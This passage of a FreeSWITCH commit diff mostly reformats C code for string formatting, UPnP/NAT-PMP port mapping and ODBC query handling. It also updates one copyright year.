+ while (nspace >= etSPACESIZE) {
+ (*func) (arg, spaces, etSPACESIZE);
+ nspace -= etSPACESIZE;
+ }
+ if (nspace > 0)
+ (*func) (arg, spaces, nspace);
+ }
+ }
+ if (zExtra) {
+ free(zExtra);
+ }
+ } /* End for loop over the format string */
+ return errorflag ? -1 : count;
+} /* End of function */
/* This structure is used to store state information about the
** write to memory that is currently in progress.
*/
struct sgMprintf {
- char *zBase; /* A base allocation */
- char *zText; /* The string collected so far */
- int nChar; /* Length of the string so far */
- int nTotal; /* Output size if unconstrained */
- int nAlloc; /* Amount of space allocated in zText */
- void *(*xRealloc)(void*,int); /* Function used to realloc memory */
+ char *zBase; /* A base allocation */
+ char *zText; /* The string collected so far */
+ int nChar; /* Length of the string so far */
+ int nTotal; /* Output size if unconstrained */
+ int nAlloc; /* Amount of space allocated in zText */
+ void *(*xRealloc) (void *, int); /* Function used to realloc memory */
};
/*
@@ -728,69 +797,70 @@
** This routine add nNewChar characters of text in zNewText to
** the sgMprintf structure pointed to by "arg".
*/
-static void mout(void *arg, const char *zNewText, int nNewChar){
- struct sgMprintf *pM = (struct sgMprintf*)arg;
- pM->nTotal += nNewChar;
- if ( pM->nChar + nNewChar + 1 > pM->nAlloc ){
- if ( pM->xRealloc==0 ){
- nNewChar = pM->nAlloc - pM->nChar - 1;
- }else{
- pM->nAlloc = pM->nChar + nNewChar*2 + 1;
- if ( pM->zText==pM->zBase ){
- pM->zText = pM->xRealloc(0, pM->nAlloc);
- if ( pM->zText && pM->nChar ){
- memcpy(pM->zText, pM->zBase, pM->nChar);
- }
- }else{
- char *zNew;
- zNew = pM->xRealloc(pM->zText, pM->nAlloc);
- if ( zNew ){
- pM->zText = zNew;
- }
- }
- }
- }
- if ( pM->zText ){
- if ( nNewChar>0 ){
- memcpy(&pM->zText[pM->nChar], zNewText, nNewChar);
- pM->nChar += nNewChar;
- }
- pM->zText[pM->nChar] = 0;
- }
+static void mout(void *arg, const char *zNewText, int nNewChar)
+{
+ struct sgMprintf *pM = (struct sgMprintf *) arg;
+ pM->nTotal += nNewChar;
+ if (pM->nChar + nNewChar + 1 > pM->nAlloc) {
+ if (pM->xRealloc == 0) {
+ nNewChar = pM->nAlloc - pM->nChar - 1;
+ } else {
+ pM->nAlloc = pM->nChar + nNewChar * 2 + 1;
+ if (pM->zText == pM->zBase) {
+ pM->zText = pM->xRealloc(0, pM->nAlloc);
+ if (pM->zText && pM->nChar) {
+ memcpy(pM->zText, pM->zBase, pM->nChar);
+ }
+ } else {
+ char *zNew;
+ zNew = pM->xRealloc(pM->zText, pM->nAlloc);
+ if (zNew) {
+ pM->zText = zNew;
+ }
+ }
+ }
+ }
+ if (pM->zText) {
+ if (nNewChar > 0) {
+ memcpy(&pM->zText[pM->nChar], zNewText, nNewChar);
+ pM->nChar += nNewChar;
+ }
+ pM->zText[pM->nChar] = 0;
+ }
}
/*
** This routine is a wrapper around xprintf() that invokes mout() as
** the consumer.
*/
-static char *base_vprintf(
- void *(*xRealloc)(void*,int), /* Routine to realloc memory. May be NULL */
- int useInternal, /* Use internal %-conversions if true */
- char *zInitBuf, /* Initially write here, before mallocing */
- int nInitBuf, /* Size of zInitBuf[] */
- const char *zFormat, /* format string */
- va_list ap /* arguments */
-){
- struct sgMprintf sM;
- sM.zBase = sM.zText = zInitBuf;
- sM.nChar = sM.nTotal = 0;
- sM.nAlloc = nInitBuf;
- sM.xRealloc = xRealloc;
- vxprintf(mout, &sM, useInternal, zFormat, ap);
- if ( xRealloc ){
- if ( sM.zText==sM.zBase ){
- sM.zText = xRealloc(0, sM.nChar+1);
- if ( sM.zText ){
- memcpy(sM.zText, sM.zBase, sM.nChar+1);
- }
- }else if ( sM.nAlloc>sM.nChar+10 ){
- char *zNew = xRealloc(sM.zText, sM.nChar+1);
- if ( zNew ){
- sM.zText = zNew;
- }
- }
- }
- return sM.zText;
+static char *base_vprintf(void *(*xRealloc) (void *, int), /* Routine to realloc memory. May be NULL */
+ int useInternal, /* Use internal %-conversions if true */
+ char *zInitBuf, /* Initially write here, before mallocing */
+ int nInitBuf, /* Size of zInitBuf[] */
+ const char *zFormat, /* format string */
+ va_list ap /* arguments */
+ )
+{
+ struct sgMprintf sM;
+ sM.zBase = sM.zText = zInitBuf;
+ sM.nChar = sM.nTotal = 0;
+ sM.nAlloc = nInitBuf;
+ sM.xRealloc = xRealloc;
+ vxprintf(mout, &sM, useInternal, zFormat, ap);
+ if (xRealloc) {
+ if (sM.zText == sM.zBase) {
+ sM.zText = xRealloc(0, sM.nChar + 1);
+ if (sM.zText) {
+ memcpy(sM.zText, sM.zBase, sM.nChar + 1);
+ }
+ } else if (sM.nAlloc > sM.nChar + 10) {
+ char *zNew = xRealloc(sM.zText, sM.nChar + 1);
+ if (zNew) {
+ sM.zText = zNew;
+ }
+ }
+ }
+ return sM.zText;
}
/*
@@ -798,7 +868,7 @@
*/
static void *printf_realloc(void *old, int size)
{
- return realloc(old,size);
+ return realloc(old, size);
}
/*
@@ -806,8 +876,8 @@
*/
SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap)
{
- char zBase[SWITCH_PRINT_BUF_SIZE];
- return base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
+ char zBase[SWITCH_PRINT_BUF_SIZE];
+ return base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
}
/*
@@ -815,13 +885,13 @@
*/
SWITCH_DECLARE(char *) switch_mprintf(const char *zFormat, ...)
{
- va_list ap;
- char *z;
- char zBase[SWITCH_PRINT_BUF_SIZE];
- va_start(ap, zFormat);
- z = base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
- va_end(ap);
- return z;
+ va_list ap;
+ char *z;
+ char zBase[SWITCH_PRINT_BUF_SIZE];
+ va_start(ap, zFormat);
+ z = base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
+ va_end(ap);
+ return z;
}
#ifdef __UNUSED__
@@ -830,8 +900,8 @@
*/
SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap)
{
- char zBase[SWITCH_PRINT_BUF_SIZE];
- return base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
+ char zBase[SWITCH_PRINT_BUF_SIZE];
+ return base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
}
/*
@@ -839,13 +909,13 @@
*/
SWITCH_DECLARE(char *) switch_mprintf(const char *zFormat, ...)
{
- va_list ap;
- char *z;
- char zBase[SWITCH_PRINT_BUF_SIZE];
- va_start(ap, zFormat);
- z = base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
- va_end(ap);
- return z;
+ va_list ap;
+ char *z;
+ char zBase[SWITCH_PRINT_BUF_SIZE];
+ va_start(ap, zFormat);
+ z = base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
+ va_end(ap);
+ return z;
}
/*
@@ -856,12 +926,12 @@
*/
SWITCH_DECLARE(char *) switch_snprintf(int n, char *zBuf, const char *zFormat, ...)
{
- char *z;
- va_list ap;
+ char *z;
+ va_list ap;
- va_start(ap,zFormat);
- z = base_vprintf(0, 0, zBuf, n, zFormat, ap);
- va_end(ap);
- return z;
+ va_start(ap, zFormat);
+ z = base_vprintf(0, 0, zBuf, n, zFormat, ap);
+ va_end(ap);
+ return z;
}
#endif
Modified: freeswitch/trunk/src/switch_nat.c (16578 => 16579)
--- freeswitch/trunk/src/switch_nat.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_nat.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -67,12 +67,11 @@
static switch_status_t get_upnp_pubaddr(char *pub_addr)
{
- if (UPNP_GetExternalIPAddress(nat_globals.urls.controlURL,
- nat_globals.data.servicetype,
- pub_addr) == UPNPCOMMAND_SUCCESS) {
+ if (UPNP_GetExternalIPAddress(nat_globals.urls.controlURL, nat_globals.data.servicetype, pub_addr) == UPNPCOMMAND_SUCCESS) {
if (!strcmp(pub_addr, "0.0.0.0") || zstr_buf(pub_addr)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
- "uPNP Device (url: %s) returned an invalid external address of '%s'. Disabling uPNP\n", nat_globals.urls.controlURL, pub_addr);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+ "uPNP Device (url: %s) returned an invalid external address of '%s'. Disabling uPNP\n", nat_globals.urls.controlURL,
+ pub_addr);
return SWITCH_STATUS_GENERR;
}
} else {
@@ -81,11 +80,11 @@
return SWITCH_STATUS_SUCCESS;
}
-static int init_upnp (void)
+static int init_upnp(void)
{
struct UPNPDev *devlist;
struct UPNPDev *dev;
- char * descXML;
+ char *descXML;
int descXMLsize = 0;
const char *multicastif = 0;
const char *minissdpdpath = 0;
@@ -97,24 +96,25 @@
if (devlist) {
dev = devlist;
while (dev) {
- if (strstr (dev->st, "InternetGatewayDevice")) {
+ if (strstr(dev->st, "InternetGatewayDevice")) {
break;
}
dev = dev->pNext;
}
if (!dev) {
- dev = devlist; /* defaulting to first device */
+ dev = devlist; /* defaulting to first device */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No InternetGatewayDevice, using first entry as default (%s).\n", dev->descURL);
}
-
+
descXML = miniwget(dev->descURL, &descXMLsize);
-
+
nat_globals.descURL = strdup(dev->descURL);
-
+
if (descXML) {
- parserootdesc (descXML, descXMLsize, &nat_globals.data);
- free (descXML); descXML = 0;
- GetUPNPUrls (&nat_globals.urls, &nat_globals.data, dev->descURL);
+ parserootdesc(descXML, descXMLsize, &nat_globals.data);
+ free(descXML);
+ descXML = 0;
+ GetUPNPUrls(&nat_globals.urls, &nat_globals.data, dev->descURL);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Unable to retrieve device description XML (%s).\n", dev->descURL);
}
@@ -138,7 +138,7 @@
fd_set fds;
natpmp_t natpmp;
const char *err = NULL;
-
+
if ((r = initnatpmp(&natpmp)) < 0) {
err = "init failed";
goto end;
@@ -150,7 +150,7 @@
}
do {
- struct timeval timeout = { 1, 0};
+ struct timeval timeout = { 1, 0 };
i++;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking for PMP %d/%d\n", i, max);
@@ -167,7 +167,7 @@
goto end;
}
r = readnatpmpresponseorretry(&natpmp, &response);
- } while(r == NATPMP_TRYAGAIN && i < max);
+ } while (r == NATPMP_TRYAGAIN && i < max);
if (r < 0) {
err = "general error";
@@ -177,10 +177,10 @@
pubaddr = inet_ntoa(response.pnu.publicaddress.addr);
switch_copy_string(pub_addr, pubaddr, IP_LEN);
nat_globals.nat_type = SWITCH_NAT_TYPE_PMP;
-
+
closenatpmp(&natpmp);
- end:
+ end:
if (err) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error checking for PMP [%s]\n", err);
@@ -203,7 +203,7 @@
{
char *addr = NULL;
switch_port_t port = 0;
-
+
if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
addr = "239.255.255.250";
port = 1900;
@@ -245,13 +245,13 @@
return SWITCH_STATUS_SUCCESS;
}
-static void *SWITCH_THREAD_FUNC switch_nat_multicast_runtime(switch_thread_t *thread, void *obj)
+static void *SWITCH_THREAD_FUNC switch_nat_multicast_runtime(switch_thread_t * thread, void *obj)
{
char *buf = NULL;
char newip[16] = "";
char *pos;
switch_event_t *event = NULL;
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NAT thread started\n");
buf = (char *) malloc(MULTICAST_BUFFSIZE);
@@ -274,13 +274,13 @@
break;
}
-
+
if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
/* look for our desc URL and servicetype in the packet */
if (strstr(buf, nat_globals.descURL) && (buf == NULL || strstr(buf, nat_globals.data.servicetype))) {
if ((pos = strstr(buf, "NTS:"))) {
pos = pos + 4;
- while(*pos && *pos == ' ') {
+ while (*pos && *pos == ' ') {
pos++;
}
if (!strncmp(pos, "ssdp:alive", 10)) {
@@ -288,10 +288,12 @@
/* did pub ip change */
newip[0] = '\0';
if (get_upnp_pubaddr(newip) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
}
} else if (!strncmp(pos, "ssdp:byebye", 11)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "got UPnP signoff packet. Your NAT gateway is probably going offline.\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "got UPnP signoff packet. Your NAT gateway is probably going offline.\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got UPnP signoff packet: \n%s\n", buf);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got UNKNOWN UPnP keep alive packet: \n%s\n", buf);
@@ -304,31 +306,31 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
}
}
-
+
if ((strlen(newip) > 0) && strcmp(newip, "0.0.0.0") && strcmp(newip, nat_globals.pub_addr)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Public IP changed from '%s' to '%s'.\n", nat_globals.pub_addr, newip);
do_repub = SWITCH_TRUE;
-
+
switch_event_create(&event, SWITCH_EVENT_TRAP);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "condition", "network-address-change");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "network-address-previous-v4", nat_globals.pub_addr);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "network-address-change-v4", newip);
switch_event_fire(&event);
-
+
switch_set_string(nat_globals.pub_addr, newip);
switch_nat_reinit();
}
-
+
if (do_repub) {
switch_nat_republish();
- }
+ }
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NAT thread ending\n");
nat_globals_perm.running = 0;
switch_safe_free(buf);
-
+
return NULL;
}
@@ -343,7 +345,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to initialize NAT thread\n");
return;
}
-
+
switch_threadattr_create(&thd_attr, nat_globals_perm.pool);
switch_threadattr_detach_set(thd_attr, 1);
switch_thread_create(&nat_thread_p, thd_attr, switch_nat_multicast_runtime, NULL, nat_globals_perm.pool);
@@ -352,7 +354,7 @@
SWITCH_DECLARE(void) switch_nat_thread_stop(void)
{
/* don't do anything if no thread ptr */
- if (!nat_thread_p ) {
+ if (!nat_thread_p) {
return;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping NAT Task Thread\n");
@@ -361,18 +363,18 @@
switch_status_t st;
nat_globals_perm.running = -1;
-
+
switch_thread_join(&st, nat_thread_p);
while (nat_globals_perm.running) {
- switch_yield(1000000); /* can take up to 5s for the thread to terminate, so wait for 10 */
+ switch_yield(1000000); /* can take up to 5s for the thread to terminate, so wait for 10 */
if (++sanity > 10) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out waiting for NAT Task Thread to stop\n");
break;
}
}
}
-
+
nat_thread_p = NULL;
}
@@ -380,16 +382,16 @@
SWITCH_DECLARE(void) switch_nat_init(switch_memory_pool_t *pool)
{
/* try free dynamic data structures prior to resetting to 0 */
- FreeUPNPUrls(&nat_globals.urls);
+ FreeUPNPUrls(&nat_globals.urls);
switch_safe_free(nat_globals.descURL);
memset(&nat_globals, 0, sizeof(nat_globals));
-
+
if (first_init) {
memset(&nat_globals_perm, 0, sizeof(nat_globals_perm));
nat_globals_perm.pool = pool;
}
-
+
switch_find_local_ip(nat_globals.pvt_addr, sizeof(nat_globals.pvt_addr), NULL, AF_INET);
@@ -401,12 +403,13 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking for UPnP\n");
init_upnp();
}
-
+
if (nat_globals.nat_type) {
switch_core_set_variable("nat_public_addr", nat_globals.pub_addr);
switch_core_set_variable("nat_private_addr", nat_globals.pvt_addr);
switch_core_set_variable("nat_type", nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp");
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "NAT detected type: %s, ExtIP: '%s'\n", nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp", nat_globals.pub_addr);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "NAT detected type: %s, ExtIP: '%s'\n",
+ nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp", nat_globals.pub_addr);
if (!nat_thread_p) {
switch_nat_thread_start();
@@ -418,7 +421,7 @@
initialized = SWITCH_TRUE;
}
-static switch_status_t switch_nat_add_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port)
+static switch_status_t switch_nat_add_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port)
{
switch_status_t status = SWITCH_STATUS_FALSE;
natpmpresp_t response;
@@ -426,7 +429,7 @@
natpmp_t natpmp;
initnatpmp(&natpmp);
-
+
if (proto == SWITCH_NAT_TCP) {
sendnewportmappingrequest(&natpmp, NATPMP_PROTOCOL_TCP, port, port, 31104000);
} else if (proto == SWITCH_NAT_UDP) {
@@ -441,29 +444,27 @@
getnatpmprequesttimeout(&natpmp, &timeout);
select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
r = readnatpmpresponseorretry(&natpmp, &response);
- } while(r == NATPMP_TRYAGAIN);
+ } while (r == NATPMP_TRYAGAIN);
if (r == 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mapped public port %hu protocol %s to localport %hu\n",
response.pnu.newportmapping.mappedpublicport,
response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
- (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
- response.pnu.newportmapping.privateport);
+ (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"), response.pnu.newportmapping.privateport);
if (external_port) {
*external_port = response.pnu.newportmapping.mappedpublicport;
} else if (response.pnu.newportmapping.mappedpublicport != response.pnu.newportmapping.privateport) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "External port %hu protocol %s was not available, it was instead mapped to %hu",
- response.pnu.newportmapping.privateport,
- response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
- (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
- response.pnu.newportmapping.mappedpublicport);
+ response.pnu.newportmapping.privateport,
+ response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
+ (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"), response.pnu.newportmapping.mappedpublicport);
}
-
+
status = SWITCH_STATUS_SUCCESS;
}
-
+
closenatpmp(&natpmp);
-
+
return status;
}
@@ -486,7 +487,7 @@
if (r == UPNPCOMMAND_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mapped public port %s protocol %s to localport %s\n", port_str,
(proto == SWITCH_NAT_TCP) ? "TCP" : (proto == SWITCH_NAT_UDP ? "UDP" : "UNKNOWN"), port_str);
- status = SWITCH_STATUS_SUCCESS;
+ status = SWITCH_STATUS_SUCCESS;
}
return status;
@@ -498,7 +499,7 @@
natpmpresp_t response;
int r;
natpmp_t natpmp;
-
+
initnatpmp(&natpmp);
if (proto == SWITCH_NAT_TCP) {
@@ -515,17 +516,15 @@
getnatpmprequesttimeout(&natpmp, &timeout);
select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
r = readnatpmpresponseorretry(&natpmp, &response);
- } while(r == NATPMP_TRYAGAIN);
+ } while (r == NATPMP_TRYAGAIN);
if (r == 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unmapped public port %hu protocol %s to localport %hu\n",
- response.pnu.newportmapping.privateport, /* This might be wrong but its so 0 isn't displayed */
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unmapped public port %hu protocol %s to localport %hu\n", response.pnu.newportmapping.privateport, /* This might be wrong but its so 0 isn't displayed */
response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
- (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
- response.pnu.newportmapping.privateport);
+ (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"), response.pnu.newportmapping.privateport);
status = SWITCH_STATUS_SUCCESS;
}
-
+
closenatpmp(&natpmp);
return status;
@@ -553,11 +552,12 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping_internal(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky, switch_bool_t publish)
+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping_internal(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port,
+ switch_bool_t sticky, switch_bool_t publish)
{
switch_status_t status = SWITCH_STATUS_FALSE;
switch_event_t *event = NULL;
-
+
switch (nat_globals.nat_type) {
case SWITCH_NAT_TYPE_PMP:
status = switch_nat_add_mapping_pmp(port, proto, external_port);
@@ -572,9 +572,9 @@
default:
break;
}
-
+
if (publish && status == SWITCH_STATUS_SUCCESS) {
- switch_event_create(&event, SWITCH_EVENT_NAT);
+ switch_event_create(&event, SWITCH_EVENT_NAT);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "op", "add");
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "port", "%d", port);
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "proto", "%d", proto);
@@ -585,7 +585,8 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky)
+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port,
+ switch_bool_t sticky)
{
return switch_nat_add_mapping_internal(port, proto, external_port, sticky, SWITCH_TRUE);
}
@@ -607,13 +608,13 @@
}
if (status == SWITCH_STATUS_SUCCESS) {
- switch_event_create(&event, SWITCH_EVENT_NAT);
+ switch_event_create(&event, SWITCH_EVENT_NAT);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "op", "del");
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "port", "%d", port);
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "proto", "%d", proto);
switch_event_fire(&event);
}
-
+
return status;
}
@@ -626,15 +627,15 @@
SWITCH_STANDARD_STREAM(stream);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Refreshing nat maps\n");
-
+
switch_api_execute("show", "nat_map as xml", NULL, &stream);
-
+
if (!(natxml = switch_xml_parse_str_dup(stream.data))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse XML: %s\n", (char *) stream.data);
switch_safe_free(stream.data);
return;
}
-
+
/* iterate the xml and publish the mappings */
row = switch_xml_find_child(natxml, "row", "row_id", "1");
while (row != NULL) {
@@ -649,18 +650,18 @@
if ((child = switch_xml_child(row, "proto_num"))) {
sproto = child->txt;
}
-
+
if (sport && sproto) {
- port = (switch_port_t)(atoi(sport));
- proto = (switch_nat_ip_proto_t)(atoi(sproto));
- switch_nat_add_mapping_internal(port, proto, NULL, SWITCH_FALSE, SWITCH_FALSE);
+ port = (switch_port_t) (atoi(sport));
+ proto = (switch_nat_ip_proto_t) (atoi(sproto));
+ switch_nat_add_mapping_internal(port, proto, NULL, SWITCH_FALSE, SWITCH_FALSE);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse port/proto info: XML: %s\n", (char *) stream.data);
}
-
+
row = switch_xml_next(row);
}
-
+
switch_safe_free(stream.data);
switch_xml_free(natxml);
}
@@ -669,14 +670,14 @@
{
switch_stream_handle_t stream = { 0 };
SWITCH_STANDARD_STREAM(stream);
-
- stream.write_function(&stream, "Nat Type: %s, ExtIP: %s\n",
- (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) ? "UPNP" : (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "NAT-PMP" : "UNKNOWN"),
- nat_globals.pub_addr);
+ stream.write_function(&stream, "Nat Type: %s, ExtIP: %s\n",
+ (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) ? "UPNP" : (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "NAT-PMP" : "UNKNOWN"),
+ nat_globals.pub_addr);
+
switch_api_execute("show", "nat_map", NULL, &stream);
-
- return stream.data; /* caller frees */
+
+ return stream.data; /* caller frees */
}
SWITCH_DECLARE(switch_bool_t) switch_nat_is_initialized(void)
Modified: freeswitch/trunk/src/switch_odbc.c (16578 => 16579)
--- freeswitch/trunk/src/switch_odbc.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_odbc.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -45,7 +45,7 @@
#if (ODBCVER < 0x0300)
#define SQL_NO_DATA SQL_SUCCESS
-#endif
+#endif
struct switch_odbc_handle {
char *dsn;
@@ -98,7 +98,6 @@
switch_safe_free(new_handle->password);
switch_safe_free(new_handle);
}
-
#endif
return NULL;
}
@@ -177,10 +176,10 @@
code = __LINE__;
goto error;
}
-
- SQLRowCount (stmt, &m);
- rc = SQLNumResultCols (stmt, &nresultcols);
- if (rc != SQL_SUCCESS){
+
+ SQLRowCount(stmt, &m);
+ rc = SQLNumResultCols(stmt, &nresultcols);
+ if (rc != SQL_SUCCESS) {
code = __LINE__;
goto error;
}
@@ -241,9 +240,9 @@
}
#endif
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt)
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t *stmt)
{
- if (!stmt || ! *stmt) {
+ if (!stmt || !*stmt) {
return SWITCH_ODBC_FAIL;
}
#ifdef SWITCH_HAVE_ODBC
@@ -332,7 +331,7 @@
} else {
handle->is_firebird = FALSE;
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG1, "Connected to [%s]\n", handle->dsn);
handle->state = SWITCH_ODBC_STATE_CONNECTED;
return SWITCH_ODBC_SUCCESS;
@@ -341,11 +340,7 @@
#endif
}
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
- const char *sql,
- char *resbuf,
- size_t len,
- char **err)
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle, const char *sql, char *resbuf, size_t len, char **err)
{
#ifdef SWITCH_HAVE_ODBC
switch_odbc_status_t sstatus = SWITCH_ODBC_FAIL;
@@ -357,7 +352,7 @@
SQLSMALLINT NameLength, DataType, DecimalDigits, Nullable;
SQLULEN ColumnSize;
int result;
-
+
SQLRowCount(stmt, &m);
if (m <= 0) {
@@ -366,20 +361,20 @@
result = SQLExecute(stmt);
result = SQLFetch(stmt);
-
+
if (result != SQL_SUCCESS && result != SQL_SUCCESS_WITH_INFO && result != SQL_NO_DATA) {
goto done;
}
-
+
SQLDescribeCol(stmt, 1, name, sizeof(name), &NameLength, &DataType, &ColumnSize, &DecimalDigits, &Nullable);
SQLGetData(stmt, 1, SQL_C_CHAR, (SQLCHAR *) resbuf, (SQLLEN) len, NULL);
-
+
sstatus = SWITCH_ODBC_SUCCESS;
} else {
return sstatus;
}
- done:
+ done:
switch_odbc_statement_handle_free(&stmt);
return sstatus;
#else
@@ -387,7 +382,8 @@
#endif
}
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt, char **err)
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt,
+ char **err)
{
#ifdef SWITCH_HAVE_ODBC
SQLHSTMT stmt = NULL;
@@ -448,7 +444,8 @@
SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_callback_exec_detailed(const char *file, const char *func, int line,
switch_odbc_handle_t *handle,
- const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err)
+ const char *sql, switch_core_db_callback_func_t callback, void *pdata,
+ char **err)
{
#ifdef SWITCH_HAVE_ODBC
SQLHSTMT stmt = NULL;
@@ -485,16 +482,16 @@
SQLRowCount(stmt, &m);
- while(!done) {
+ while (!done) {
